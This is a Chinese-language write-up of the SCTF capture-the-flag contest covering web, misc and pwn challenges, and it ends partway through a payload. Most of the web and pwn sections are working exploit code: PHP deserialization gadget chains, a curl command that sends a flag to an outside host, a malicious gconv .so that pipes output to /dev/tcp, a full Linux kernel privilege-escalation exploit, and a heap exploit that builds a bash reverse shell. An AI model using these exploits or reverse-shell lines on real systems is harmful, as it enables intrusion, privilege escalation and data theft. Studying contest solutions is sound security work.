SCTF WriteUp by SU-安全KER - 安全资讯平台

Book.

Web

FUMO_on_the_Christmas_tree

通过给定的一个 gadget class 文件来进行 PHP 反序列化 RCE。观察后发现只有一个类有 destructor，然后所有和系统互动的函数只有 readfile，所以这应该就是入口和出口。剩下的只需要找到一个调用路径从入口到出口。

所有的类都只有一个函数和一些成员变量。函数内部做的操作大概分为两类：

对输入用函数做一些变换
调用其它类的成员函数

我们先看所有对输入做变换的函数。其中有

crypt、sha1、md5
base64_encode
str_rot13、strrev、ucfirst、base64_decode

第一类是不可逆的，必须避免遇到；第二类是可逆的，但必须满足条件，只有在 base64_encode 后再出现一个 base64_decode 才行，并且两者中间的操作必须最终保证数据一致；第三类是完全可逆的。要注意的是，有的里面还会出现直接的赋值语句，比如 $xxx = $yyy。如果是 $xxx = $xxx（自己赋给自己）的类型则可以，否则的话则需要避免遇到（因为右侧的变量不存在）。

接下来，对于所有的类我们需要建立一个调用关系。类里函数调用的方式有几种：

// 第一种

public function viqSfkeZ91($DUkiWcRS) {

    if (is_callable([$this->pHnfXT0TP, 'T81ZgYZlGt']))

        @$this->pHnfXT0TP->T81ZgYZlGt($DUkiWcRS);

}

// 第二种

public function __invoke($value) {

    $key = base64_decode('QThTQjRHWm1WRw==');

    @$this->BUDQkw->zvHrWpSd($value[$key]);

}

// 第三种

public function __call($name,$value) {

    extract([$name => 'FTTh89A9u']);

    if (is_callable([$this->IwXv56wBHu, $KDKR9Egl7]))

        call_user_func([$this->IwXv56wBHu, $KDKR9Egl7], ...$value);

}

// 第四种

public function ttcoBkt($a06sSms0Pd) {

    call_user_func($this->Z9vliIEZ9u, ['upGnwrVnpV' => $a06sSms0Pd]);

}

第一种找哪个类有T81ZgYZlGt。
第二种找哪个类有zvHrWpSd。
第三种需要看extract里面的参数，找到哪个类有FTTh89A9u。处理的时候要注意第三种等价于第一种的写法：

public function KDKR9Egl7($value) {

    if (is_callable([$this->IwXv56wBHu, 'FTTh89A9u']))

        @$this->IwXv56wBHu->FTTh89A9u($value);

}

第四种只能调用第二种，需要找哪个类的__invoke函数的base64_decode的参数是upGnwrVnpV的 Base64 编码字符串。

如果一个类可以通过某种方式（保证输入是上文所述可逆变化的条件下）带着输入调用另一个类，则可以从这个类到达另一个类。那接下来我们直接在上文建立好调用关系的情况下，在这些类上（看成一个图）从入口开始进行 DFS，中间记录经过的类、函数和对输入进行的变换。如果能够在满足上述条件的情况下到达出口，则成功找到一条调用路径。

剩下的就是用现成的 PHP 解析库解析所有的类，构建上述关系并且跑算法，最后得出一条路径，再手动构造序列化字符串和输入即可。

Upload_it

import requests

import os

url = "http://124.71.199.229:8778/"

s = requests.Session()

s.get(url)

cookie = s.cookies.get("PHPSESSID")

def store(path,name,con):

    r = s.post(url,files={"file":(name,con),"path":(None,path)})

serSes = os.popen("php gadget.php").read()

store("../../../../tmp","sess_"+cookie,serSes)

print(s.post(url,files={"file":("pew","XXD")}).text)
<?php

namespace Symfony\Component\String;

class LazyString {

  function __construct() {

    $func = function(){system("cat /flag");};

    $this->value = new \Opis\Closure\SerializableClosure($func);

  }

}

include_once "vendor/autoload.php";

print("upload_path|".(serialize(new \Symfony\Component\String\LazyString())));

Loginme

X-real-ip:127.0.0.1

age={{$}}

Ezuros

import requests

import os

url = "http://124.70.204.21:7777/"
payload = os.popen("php gadget.php").read()

s = requests.Session()

s.get(url)

s.post(url+"config",json={'XXD|{}FF'.format(payload):'XXD'})

print(s.get(url+"config").text)
<?php

namespace Monolog\Handler

{

    class SyslogUdpHandler

    {

        protected $socket;

        function __construct($x)

        {

            $this->socket = $x;

        }

    }

    class BufferHandler

    {

        protected $handler;

        protected $bufferSize = -1;

        protected $buffer;

        protected $level = null;

        protected $initialized = true;

        protected $bufferLimit = -1;

        protected $processors;

        function __construct($methods, $command)

        {

            $this->processors = $methods;

            $this->buffer = [$command];

            $this->handler = clone $this;

        }

    }

}

namespace {

$cmd = '$(printf "curl https://thegrandpewd\\x2epythonanywhere\\x2ecom/`cat /etc/*/flag`")';

$obj = new \Monolog\Handler\SyslogUdpHandler(

        new \Monolog\Handler\BufferHandler(

            ['current', 'system'],

            [$cmd, 'level' => null]

        )

    );

echo serialize([$obj]);

}

?>

Rceme

diff

pcntl_fork, pcntl_waitpid, pcntl_wait, pcntl_signal, pcntl_signal_get_handler, pcntl_signal_dispatch, pcntl_wifexited, pcntl_wifstopped, pcntl_wifsignaled, pcntl_wexitstatus, pcntl_wtermsig, pcntl_wstopsig, pcntl_exec, pcntl_alarm, pcntl_get_last_error, pcntl_errno, pcntl_strerror, pcntl_getpriority, pcntl_setpriority, pcntl_sigprocmask, pcntl_sigwaitinfo, pcntl_sigtimedwait, pcntl_wifcontinued, pcntl_async_signals, pcntl_unshare, cli_set_process_title, cli_get_process_title, chroot, dl,

strlen, error_reporting, set_error_handler, create_function, preg_match, preg_replace phpinfo, strstr, escapeshellarg, getenv, putenv, call_user_func, unserialize, var_dump, highlight_file, show_source, ini_get , end,

简单看一下，知道是无参数 rce 抄一下脚本，改一下

def one(s):

    ss = ""

    for each in s:

        ss += "%" + str(hex(255 - ord(each)))[2:].upper()

    return f"[~{ss}][!%FF]("

def makeSTR(s):

    ss = ""

    for each in s:

        ss += "%" + str(hex(255 - ord(each)))[2:].upper()

    return f"[~{ss}][!%FF]"

"""

组成 system(next(getallheaders()));

a=whoami

"""

def make(xd):

    a = xd.strip(")")

    aa = a.split("(")

    s = ""

    for each in aa[:-1]:

        s += one(each)

    s += ")" * (len(aa) - 1)

    return s

然后看一下 php 文档，https://www.php.net/manual/en/functions.arguments.php#:~:text=Example%20%2310%20Using%20…%20to%20provide%20arguments 知道可以用 ...[1,2] 来传多个参数，可以用 create_function 来执行任意 php 代码，还可以序列化传数组，用反序列化函数弄出来就行了。

接下来就是 iconv bypass df 了，抄一下 bytectf final 的，用 filter 绕函数就行。问题比较大就是怎么写文件，调了半天，最后用 SplFileObject

import craft

import requests

def arb(s):

    return craft.makeSTR(s) + "." + craft.make("var_dump()")

url = "http://localhost:3333"

# payload = """a:2:{i:0;s:198:"){}$url = 'http://47.100.54.220/poc.so';$file = new SplFileObject($url, "r");$a = "";while(!$file->eof()) {$a = $a.$file->fgets();}$file=new SplFileObject('/tmp/payload.so','w');$file->fwrite($a);//";i:1;s:0:"";}"""

payload = """a:2:{i:0;s:208:"){}$url = 'http://47.100.54.220/gconv-modules';$file = new SplFileObject($url, "r");$a = "";while(!$file->eof()) {$a = $a.$file->fgets();}$file=new SplFileObject('/tmp/gconv-modules','w');$file->fwrite($a);//";i:1;s:0:"";}"""

code = craft.makeSTR('call_user_func') + '(' + craft.makeSTR("create_function")

code += "("

code += "..." + craft.makeSTR("unserialize") + "(" + arb(payload) + ")"

code += "));"

#code += craft.make("var_dump(end(getallheaders()))") + ";"

print(code)
<?php

$url = 'http://172.17.16.1/poc.so';

$file = new SplFileObject($url, "r");

$a = "";

while ( ! $file->eof()) {

    $a = $a.$file->fgets();

}

$file=new SplFileObject('/tmp/p.so','w');

$file->fwrite($a);
#include <stdio.h>

#include <stdlib.h>

void gconv() {}

void gconv_init() {

  puts("pwned");

  system("bash -c '/readflag>/dev/tcp/ip/port'");

  exit(0);

}

参考https://xz.aliyun.com/t/8669#toc-5

用原生类把so和modules上传到tmp然后用伪协议读一下触发：

putenv("GCONV_PATH=/tmp/");show_source("php://filter/read=convert.iconv.payload.utf-8/resource=/tmp/payload.so");

upload it 2

根据upload it 1 得知用sleep触发，还是一样用LazyString调一下sandbox的backdoor方法

<?php

namespace Symfony\Component\String{

    class LazyString{

        private $value;

        public function __construct($value){

            $this->value = $value;

        }

    }

}

namespace {

    class sandbox {

        private $evil;

        public function __construct(){

            $this->evil = "/flag";

        }

    }

    use Symfony\Component\String\LazyString;

    $value = [new sandbox,"backdoor"];

    $lazy = new LazyString($value);

    $part1 = urlencode('upload_path|s:45:"/tmp/sandbox/2b2f38818b2ac2cd6df0b9cd09e1ad88";|');

    echo $part1.urlencode(serialize($lazy));

}
%75%70%6c%6f%61%64%5f%70%61%74%68%7c%73%3a%34%35%3a%22%2f%74%6d%70%2f%73%61%6e%64%62%6f%78%2f%32%62%32%66%33%38%38%31%38%62%32%61%63%32%63%64%36%64%66%30%62%39%63%64%30%39%65%31%61%64%38%38%22%3b%7c%4f%3a%33%35%3a%22%53%79%6d%66%6f%6e%79%5c%43%6f%6d%70%6f%6e%65%6e%74%5c%53%74%72%69%6e%67%5c%4c%61%7a%79%53%74%72%69%6e%67%22%3a%31%3a%7b%73%3a%34%32%3a%22%00%53%79%6d%66%6f%6e%79%5c%43%6f%6d%70%6f%6e%65%6e%74%5c%53%74%72%69%6e%67%5c%4c%61%7a%79%53%74%72%69%6e%67%00%76%61%6c%75%65%22%3b%61%3a%32%3a%7b%69%3a%30%3b%4f%3a%37%3a%22%73%61%6e%64%62%6f%78%22%3a%32%3a%7b%73%3a%31%33%3a%22%00%73%61%6e%64%62%6f%78%00%65%76%69%6c%22%3b%73%3a%35%3a%22%2f%66%6c%61%67%22%3b%73%3a%31%31%3a%22%75%70%6c%6f%61%64%5f%70%61%74%68%22%3b%4e%3b%7d%69%3a%31%3b%73%3a%38%3a%22%62%61%63%6b%64%6f%6f%72%22%3b%7d%7d

贴burp上decode一下post到tmp目录覆盖session

GoFTP

根据题目描述和 hint 信息可以大概猜到预期通过 FTP 来做 SSRF（PASV 模式传文件时，客户端会建立一个新的连接到服务端指定端口）。具体的 HTTP 请求内容在比赛的时候是通过结合逆向和动态调试的方式，触发 binary /api/register 接口本地监听获得的。在通过 SSRF 注册 username 为 admin 的用户之后，可正常登录通过访问 /admin 获得 flag。

#!/usr/bin/env python3

from pwn import *

import time

context.log_level = 'debug'

l = listen(2121)

_ = l.wait_for_connection()

data = listen(9000)

l.sendline(b'220 Test FTP Server')

l.recvuntil(b'USER ')

l.sendline(b'331 Password required')

l.recvuntil(b'PASS')

l.sendline(b'230 User logged in')

l.recvuntil(b'TYPE')

l.sendline(b'200 Switching to Binary mode')

l.recvuntil(b'PASV')

time.sleep(5)

l.sendline(b'227 Entering Passive Mode (127,0,0,1,35,40)')

l.recvuntil(b'STOR')

l.sendline(b'150 Opening BINARY mode data connection for foo.txt')

#_ = data.wait_for_connection()

#data.recvall()

l.sendline(b'226 Transfer complete')

l.recvuntil(b'QUIT')

l.close()

PUT /api/user HTTP/1.1

Host: 127.0.0.1:9000

User-Agent: GRequests/0.10

Content-Length: 71

Content-Type: application/json

Accept-Encoding: gzip

{"email": "admin@foo.org", "username": "admin", "password": "ahDi3aid"}

Misc

This_is_A_tree

一颗圣诞树，还有好多礼物,flag需要SCTF{}噢 ,a beautiful tree,U need to know some Chinese traditional knowledge,flag need a “SCTF{your_flag}”

遍历bata+base64+中文转二进制转ascii

中序遍历后的字符串为：Q2hpbmVzZSB0cmFkaXRpb25hbCBjdWx0dXJlIGlzIGJyb2FkIGFuZCBwcm9mb3VuZCEgU28gSSBXYW50IEdpdmUgWW91IE15IEZsYWcgQnV0IFlvdSBOZWVkIERlY29kZSBJdC5FbmpveSBUaGUgRmxhZyEhOuW4iCDlhZEg5aSNIOaNnyDlt70g6ZyHIOaZiyDlp6Qg5aSn6L+HIOiuvCDlmazll5Eg6ZyHIOaBkiDoioIg6LGrIA==

base64后：

Chinese traditional culture is broad and profound! So I Want Give You My Flag But You Need Decode It.Enjoy The Flag!!:师兑复损巽震晋姤大过讼噬嗑震恒节豫

https://github.com/BjdsecCA/BJDCTF2020_January参考里面的伏羲六十四卦

然后中文转二进制：

010000110110100000110001011011100100000101011111011110010111100101100100011100110010000100

二进制转出ascii

Ch1nA_yyds!

fumo_xor_cli

nc 124.70.150.39 2333

nc 123.60.107.154 2333

FUMOFUMO FUMO FUMOFUMO?(flag中没有数字)

Fumo 中间夹着两段彩色的文字，其中一部分包含一个链接

https://mp.weixin.qq.com/s/E_iDJBkVEC4jZanzvqnWCA

里面有张图

https://imgtu.com/i/TpMSkq

按照题目名称的意思，提取这里面的每个像素点，和 cli 里面的那个进行异或

图片中一行100个总共 13300 个色块

Shell 里拿 pwntools 接收提取出来有 6650 个字符，正好2倍

图里这个顺序正好和shell里第二段五颜六色的字符颜色顺序一样，异或之后发现前6650位几乎完全一致，后面不一样

后面那一半和 cli 前面那部分彩色的颜色（aaaaa….）来异或

Exp:

# MiaoTony

# from pwn import *

# host = '124.70.150.39'

# port = 2333

# r = remote(host, port)

# s = r.recvall()

# print(s[:100])

# print(s[-100:])

# with open('data', 'wb') as f:

#     f.write(s)

import re

from PIL import Image

img = Image.open('TpMSkq.png')

# img.show()

img.size

# (900, 1200)

# 纵向来提取

data = []

for i in range(1, img.size[0], 9):

    for j in range(1, img.size[1]-9, 9):

        r, g, b, a = img.getpixel((i, j))

        print(r, g, b, a)

        data.append((r, g, b))

# print(data)

print(len(data))

# 13300

with open('colors2', 'w', encoding='utf-8') as f:

    f.write(str(data))

with open('data2.txt', 'rb') as f:

    s = f.read()

with open('data1.txt', 'rb') as f:

    s += f.read()

# print(s)

# s[:100]

l = re.findall(b'\x1b\[38;2;(\d+);(\d+);(\d+)m', s)

# print(l)

colors = [tuple(int(i) for i in j) for j in l]

print(len(colors))

# 6650

data_new = []

for i in range(len(colors)):

    x = ()

    for j in range(3):

        tmp = data[i][j] ^ colors[i][j]

        x += (tmp,)

    print(x)

    data_new.append(x)

with open('data_xor.txt', 'w') as f:

    f.write(str(data_new))

img1 = Image.new('RGB', (133, 100), (255, 255, 255))

img1.putdata(data_new)

img1.save('out.png')

img1.show()

翻转旋转一下得到 flag

SCTF{Good_FuMo_CTF_OvO}

in_the_vaporwaves

something in the vaporwaves(题目flag格式为 SCTF(.) 请自行加上花括号为 SCTF{.} 提交)

附件链接：https://pan.baidu.com/s/1W9RISgb8O7WxX_P09IiEpA

提取码：sctf

修改频谱大一点 mose解密

easydsp

题目附件包含 4 个数据文件，每个数据文件为 126000 个浮点数。参考题目描述，将数据文件按照音频文件理解，转换为 wav （适当压缩幅度），可以听到四段音乐混合不同类型的杂音。考虑到样本点幅度超过了 -1 ~ 1 的范围，猜测出题人可能将两段音频文件直接加在了一起，因此尝试了一下计算 data1 – data2 的结果，画图如下

可以从差值中看出采用了类似 BPSK 调制方式进行编码，周期为 1000 个采样点。完整的文件可以编码 126 bit 内容。126 不是 8 的倍数，是 7 的倍数，猜测有可能是使用 7bit 编码一个字符的方式。一些尝试后可还原出 flag 的内容。

data = []

for i in range(1, 5):

    data.append(np.array(list(map(float, open(f'data{i}.txt').read().strip().splitlines()))))

diff = data[0] - data[1]

def get_bit(x):

    return 1 if np.sum(x[200:300]) / 100 > 0 else 0

bits = [get_bit(diff[d:d + 1000]) for d in range(0, 126000, 1000)]

print(bits)

t = 0

flag = []

for i in range(0, len(bits)):

    t = (t << 1) + bits[i]

    if i % 7 == 6:

        flag.append(chr(t))

        t = 0

print(repr(''.join(flag)))

easyiot

题目给了一个用户程序、一个加密后的文件和一个内核模块。用户程序把一个文本文件（device_tree.txt）逐字符 RSA 加密输出。由于加密方式是一一映射，可以通过加密后结果出现的频率与字符出现频率对照大大缩小爆破的空间，此处可通过爆破的方式得到 RSA 的参数 (n = 391, d = 305)，不过这个参数实际上在内核模块中也有，不需要爆破。。得到参数后解密 device_tree.txt 内容如下

Congratulations on helping B find the device tree plug-in,Here are some tips, Embedded Engineer A, wants to send a message requesting a connection to the server using an IoT device Distribute up to once, and the server clears the session after it receives it, and the server kicks the device off after more than 2 minutes of idleness.This message appears on the screen of the IoT device (read as normal) Can you get the data that A enters into the IoT device? (Remember to put “sctf{}” on it)

逆向内核模块逻辑可得 user password 内容为 chengdu106520013 （AES 解密），以及一个比较正常的 LED 显示输出的逻辑（可以从 https://github.com/Embedfire/embed_linux_tutorial/tree/master/base_code/linux_driver/ecSPI_OLED 找到修改前的源码）。

仅通过 device_tree.txt 的内容没有脑洞出来这些和 flag 的关系是怎样的。。。在看到 hint 给出的 message 之后，可以看到 MQTT 相关的信息，猜测可能是想把 MQTT 报文内容作为 flag 提交。在一番与出题人确认信息后（比如相比标准协议少掉一个字节是什么情况），又注意到 LED 输出的部分排序方式与正常不太一样，驱动中实现的是逐列输出，如果想“正常读出”的话需要做转置。多次尝试后终于拼出了正确的 flag。

from pwn import *

import binascii

context.endian = 'big'

client_id = b"21"

user = b'A'

password = b'chengdu106520013'

datalen = 10 + len(client_id) + 2 + len(user) + 2 + len(password) + 2 - 1

buf = b"\x10" + bytes([datalen, 4]) + b'MQTT' + b"\x04" + b"\xc2\x00\x50" + p16(len(client_id)) + client_id + p16(len(user)) + user + p16(len(password)) + password

pkt = binascii.hexlify(buf).upper().decode()

reorder = ''

for j in range(0, 12):

    for i in range(0, len(pkt), 12):

        reorder += pkt[i + j]

flag = 'sctf{' + reorder + '}'

print(flag)

Pwn

dataleak

CVE-2019-11834 直接泄露即可

from pwn import *

# sh = process('./cJSON_PWN')

sh= remote('124.70.202.226',2101)

# gdb.attach(sh,'b * $rebase(0x120d)')

payload = "/*".rjust(0xe,'b')

# payload = payload.ljust(0xe,'a')

sh.send(payload)

sh.send("aaaa/*".ljust(0xe,'a'))

payload = "b" * (0xb-6) +"/*"

payload = payload.ljust(0xe,'a')

sh.send(payload)

sh.send("/*".ljust(0xe,'a'))



sh.interactive()

flyingkernel

This was the only kernel challenge for SCTF this year.

The vulnerable device driver was /dev/seven.

They were multiple vulnerabilities that when combined can lead to LPE.

You can allocate a chunk of size 0x80 using the command 0x5555 in ioctl.

Using the command 0x6666 you can get that chunk freed but not nulled (UAF).

The last ioclt command was 0x7777 we can use this to get format string attack and bypass KASLR.

And the most important thing is that SMAP is disabled, which means if we can get our leaks using

the format string attack and then get RIP, we can pivot our stack and just ROP ; commit_creds(prepare_kernel_cred(0)) and swapgs iretq.

So now we have UAF on a chunk with size 0x80, which means it will get the chunk from kmalloc-128

The problem is that there are not much structs we can target for this specific slab.

But good for use there is struct subprocess_info which can give RIP control.

struct subprocess_info {

        struct work_struct work;

        struct completion *complete;

        const char *path;

        char **argv;

        char **envp;

        int wait;

        int retval;

        int (*init)(struct subprocess_info *info, struct cred *new);

        void (*cleanup)(struct subprocess_info *info);

        void *data;

} __randomize_layout;

if we can control cleanup we can control rip (but we have to be quick, this struct is allocated and it uses cleanup quickly).

You can allocate this struct just using this line of code : socket(22, AF_INET, 0); it’s okey if it fails and return -1 it will still be allocated.

So the plan is this:

Take advantage of the format string vuln to get leaks (don’t use %p they are detected by the kernel as information leak and it will show up as ptr and not the actual value in my exploit I provided %lld) and now we have the kernel base.
Free that chunk and execute that socket() to get advantage of the UAF and overwrite cleanup with a gadget, in my case it was

0xffffffff816e19bc:        mov    esp,0x83000000

0xffffffff816e19c1:        ret

I mentioned that we should be quick to overwrite that (so that our gadget gets executed and not the actual cleanup value). userfault_fd was not available to make the race reliable. What I did was I spawned a thread which write to /dev/seven in infinite loop, and hope for cleanup to be overwritten before use.
mmap that region of memory and put our ROP there, elevate our privs and execute shell.

The complete exploit:

#include <stdio.h>

#include <fcntl.h>

#include <assert.h>

#include <unistd.h>

#include <sys/syscall.h>

#include <sys/ioctl.h>

#include <string.h>

#include <sys/socket.h>

#include <pthread.h>

#include <stdlib.h>

#include <sys/mman.h>

int fd;

// We can launch ioctl / read / write for this device driver.

// For ioctl command we have:

// 0x6666 for UAF

// 0x7777 for Fmt string vuln

// 0x5555 alloc of size 0x80

#define ALLOC         0x5555

#define UAF                0x6666

#define GET                0x7777

struct trap_frame{

        char* rip;

        unsigned long cs;

        unsigned long rflags;

        char* rsp;

        unsigned long ss;

}__attribute__((packed));

struct trap_frame tf;

void save_state(void){

        asm volatile(   "mov tf+8, cs;"

                        "pushf;"

                        "pop tf+16;"

                        "mov tf+24, rsp;"

                        "mov tf+32, ss;"

                        );

}

void open_target(void)

{

        fd = open("/dev/seven", O_RDWR);

        assert(fd > 0);

}

int lock;

void *memset_buf(void *tmp)

{



        unsigned long buf[4];

        for(int i = 0; i < 4; i++){

                buf[i] = (unsigned long)tmp;

        }

        /*

        char buf[0x81];

        memset(buf, 'M', 0x80);

        */

        lock = 1;

        while(1)

        {

                write(fd, buf, 0x20);

        }

        return tmp;

}

void shell(void){

        char* argv[] = {"/bin/sh", NULL};

        execve(argv[0], argv, NULL);

}

void setup_chunk_rop(unsigned long kernel_base)

{

        unsigned long *rop;

        int i = (0x1000000/2)/8;

        unsigned long commit_creds = kernel_base + (0xffffffff8108c360 - 0xffffffff81000000);

        unsigned long prepare_kernel_cred = kernel_base + (0xffffffff8108c780 - 0xffffffff81000000);

        unsigned long pop_rdi = kernel_base + 0x16e9;

        unsigned long mov_rdi_rax = kernel_base + (0xffffffff813d7369 - 0xffffffff81000000);

        unsigned long mov_rdi_rax_rep = kernel_base + (0xffffffff81aed04b - 0xffffffff81000000);

        unsigned long pop_rcx = kernel_base + (0xffffffff8101ed83 - 0xffffffff81000000);

        unsigned long mov_cr3_rdi = kernel_base + (0xffffffff8105734a -0xffffffff81000000); //: mov cr3, rdi ; ret

        unsigned long or_rax_rdx = kernel_base + (0xffffffff81018d2c -0xffffffff81000000); //: or rax, rdx ; ret

        unsigned long pop_rdx = kernel_base + (0xffffffff8104abb7-0xffffffff81000000); // pop rdx; ret

        unsigned long pop_rax = kernel_base + (0xffffffff8100ec67-0xffffffff81000000); // pop rax; ret

        unsigned long mov_rax_cr3 = kernel_base + (0xffffffff81057fab-0xffffffff81000000); //: mov rax, cr3 ; mov cr3, rax ; ret

        unsigned long mov_cr3_rax = kernel_base + (0xffffffff81057fae - 0xffffffff81000000);//: mov cr3, rax ; ret

        unsigned long swapgs = kernel_base + (0xffffffff81c00f58 - 0xffffffff81000000);

        unsigned long iretq = kernel_base + (0xffffffff81024f92 - 0xffffffff81000000);

        unsigned long swapgs_restore = kernel_base + (0xffffffff81c00e26 - 0xffffffff81000000);



        /*

                   0xffffffff816e19bc:        mov    esp,0x83000000

                   0xffffffff816e19c1:        ret 

        */

        unsigned long pivot = kernel_base + 0x6e19bc;



        rop = mmap(0x83000000-(0x1000000/2), 0x1000000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_FIXED | MAP_ANONYMOUS, -1, 0);

        for (int i = 0; i < 0x4 + (0x1000000/2)/8;)

                rop[i++] = 0xffffffff816e19bc;



        //rop[i++] = mov_rax_cr3;

        //rop[i++] = pop_rdx;

        //rop[i++] = 0x1000;

        //rop[i++] = or_rax_rdx;

        //rop[i++] = mov_cr3_rax;

        rop[i++] = pop_rdi;

        rop[i++] = 0;

        rop[i++] = prepare_kernel_cred;

        rop[i++] = pop_rcx;

        rop[i++] = 0;

        rop[i++] = mov_rdi_rax_rep;

        rop[i++] = commit_creds;

        rop[i++] = swapgs_restore;

        rop[i++] = 0;

        rop[i++] = 0;

        rop[i++] = shell;

        rop[i++] = tf.cs;

        rop[i++] = tf.rflags;

        rop[i++] = tf.rsp;

        rop[i++] = tf.ss;

        rop[i++] = kernel_base +( 0xffffffff816e19bc - 0xffffffff81000000);



        printf("ROP fake stack %p\n", rop);

}

// When testing when being already root.

unsigned long get_text_base(void)

{

        char b[0x10000];

        char *p;

        int ret;

        unsigned long leak;

        int kmsg = open("/dev/kmsg", O_RDONLY);

        assert(kmsg > 0);

        ret = read(kmsg, b, 0x10000);

        assert(ret > 0);



        p = strchr(b, 0xff);

        leak = strtoul(p+1, NULL, 10);

        leak -= 0x1f3ecd;

        return leak;

}

int main(int argc, char *argv[])

{

        char buf[0x81];

        int ret;

        unsigned long kernel_base;

        save_state();

        // open the target device driver.

        open_target();

        ret = ioctl(fd, ALLOC, 0x80);

        assert(ret == 0);



        //memset(buf, 'M', 0x80);

        strcpy(buf, "data : %lld %lld %lld %lld %lld \xff%lld %lld %lld %lld %lld %lld %lld %lld %lld %lld %lld %lld\n");

        ret = write(fd, buf, 0x80);

        assert(ret > 0);

        // Trying to printk that data we wrote.

        ret = ioctl(fd, GET, 0);

        assert(ret == 0);

        // trying to have the text base!

        if (argc == 1)

                exit(1);

        else

                kernel_base = strtoul(argv[1], NULL, 16) - 0x1f3ecd;

        //kernel_base = get_text_base();

        printf("Kernel base %lx\n", kernel_base);

        setup_chunk_rop(kernel_base);

        getchar();

        // trying to fill that freed chunk with struct subprocess_info

        // Trying to bruteforce it.

        //sleep(0.1);

        // Trying to free our chunk for UAD

        ret = ioctl(fd, UAF, 0);

        assert(ret == 0);

        pthread_t tid;

        pthread_create(&tid, NULL, memset_buf, kernel_base + 0x6e19bc);

        sleep(0.3);

        for(int i = 0; i < 0x1; i++)

                ret = socket(22, AF_INET, 0);

        //write(fd, buf, 0x20);

        sleep(0.3);

        lock = 0;

        //printf("socket returned %d\n", ret);

        getchar();

}

Christmas Wishes

漏洞点在parser_string中没有考虑转义\”的情况导致堆溢出

字符串中不能写\x00的问题用\u0000绕过同理可以用hex_parse写任何不可见字符

控制tcache fd为free_hook后用setcontext rop反弹shell出来即可执行gift

远程可先使用readflag读”/proc/self/maps” 泄露libc地址

from pwn import *

def create_php(buf):

    with open("pwn.php", 'wb+') as pf:

        pf.write(b'''<?php

$data = jsonparser("%s");

readfile($data);

?>'''%buf)

def create_php2(buf):

    with open("pwnjson", 'wb+') as pf:

        pf.write(b'''%s'''%buf)

context.arch = 'amd64'

def pp64(num):

    payload = rb""

    for i in range(4):

        payload += rb"\\u" 

        tmp = bytes(hex((((num & 0xff) << 8) + ((num >> 8) & 0xff)) & 0xffff)[2:],encoding='utf8').rjust(4,b'0')

        payload += tmp

        num = num >> 16

    return payload

# print(pp64(0x1234))

# pp64 = lambda x  : p64(x)[:6] + rb"\\u0000"

libc = ELF('./libc-2.31.so')

# libc_base = 0x7ffff7474000

libc_base = 0x7faea6b33000

rdx_gadget = libc_base + 0x000000000012c050

rdi_ret = libc_base + 0x0000000000026796

ret = 0x000000000002535f + libc_base

rsi_ret = 0x000000000002890f + libc_base 

rdx_ret = 0x00000000000cb1cd + libc_base

# 0x555556606000

# heap_base = 0x555556606000 + 0x1E1600

heap_base = 0x56400792d000+ 0x1E1600

free_hook = libc_base + libc.symbols["__free_hook"]

shell_addr = libc_base + libc.symbols["__free_hook"]+ 0x140

frame = SigreturnFrame()

frame.rip = ret

frame.rsp = heap_base + 0x640 + 0x100

print(unpack_many(bytes(frame)))

payload = rb'''

{

    \"bb\":\"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\",

    \"aa\":\"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\",

    \"cc\":\"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\",

    \"dd\":\"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\",

    \"ee\":\"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\",

    \"ff\":\"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\",

    \"gg\":\"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\",

    \"ff\":\"aaaaaa\",



    \"ee\":\"aaaaaa\",

    \"dd\":\"aaaaaa\",

    \"zz\":\"zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz\\\"'''

payload += rb"b" * 6 + pp64(0x51) + pp64(0) * 9

# payload += pp64(0x31) + pp64(0) * 3

payload += pp64(0x31) + pp64(free_hook - 0x30)

# payload += b'b' * (0x80-2)

# payload += p64(0x7ffff7635e70)[:6]

# payload += rb"\\u0000"

# payload += p64(0x7ffff7635e70)[:6]

# payload += rb"\\u0000"

# payload += p64(0x7ffff7635e70)[:6]

# payload += rb"\\u0000"

payload += rb'\",'

payload +=rb'''

    \"address\":\"'''

payload += rb'a' *0x20 + rb'\",'

payload +=rb'''

    \"rop\":\"'''

rop = pp64(rdi_ret) + pp64(shell_addr)  + pp64(rsi_ret) + pp64(0) + pp64(rdx_ret) + pp64(0)+ pp64(libc_base+libc.symbols['system'])

payload += pp64(0) + pp64(heap_base + 0x640 + 0x10 - 0xC0 + 0x10) + pp64(0) * 2  +pp64(0)*2 + pp64(libc.symbols['setcontext'] + 53 + libc_base )

payload += pp64(0) * 15 + pp64(heap_base + 0x640 + 0x108 - 0xc0 + 0x10) + pp64(ret) + pp64(0) + pp64(0x51) + pp64(0) * 7

# payload += rop + rb'/bin/bash -c "/bin/bash -i >&/dev/tcp/127.0.0.1/6666 0>&1"'.replace(b' ',rb'\\u2020').replace(b"\"",rb'\\u2022')

payload += rop + rb'/bin/touch /ctf/work/asddd'.replace(b' ',rb'\\u2020').replace(b"\"",rb'\\u2022')

payload += rb'\",'

payload +=rb'''

    \"rops\":\"'''

payload += rb'a'*0x8 + pp64(free_hook + 0x10) +rb"\\\"" + rb"a"*(6+8 + 8) +rb'a' * 8+ pp64(rdx_gadget)  + pp64(libc.symbols['__free_hook'] + libc_base + 0x10) + pp64(0) * 2  +pp64(0)*2 + pp64(libc.symbols['setcontext'] + 53 + libc_base ) 

# payload += bytes(frame)[0x28:].replace(b'\x00\x00',rb'\\u0000')

payload += pp64(0) * 15 + pp64(libc_base + 0x1C1E70 + 0x108) + pp64(ret) + pp64(0) + pp64(0x51) + pp64(0) * 7 

payload += rop + rb'/bin/bash -c "/bin/bash -i >&/dev/tcp/xxx.xx.xx.xx/9090 0>&1"'.replace(b' ',rb'\\u2020').replace(b"\"",rb'\\u2022')

payload += rb'\",'

payload +=rb'''

    \"rops\":\"'''

payload += rb'a' *0x20 + rb'\",'

payload += rb'''

}

'''

# create_php(payload.replace(rb'\"',rb'"'))

create_php(payload)

create_php2(payload.replace(rb'\"',rb'"'))

然后将pwnjson里面的’\‘替换成’\’ 复制到文本框中点击发送即可

web服务堆环境很乱需要多次爆破尝试.

pwnjson如下:

{

    "bb":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",

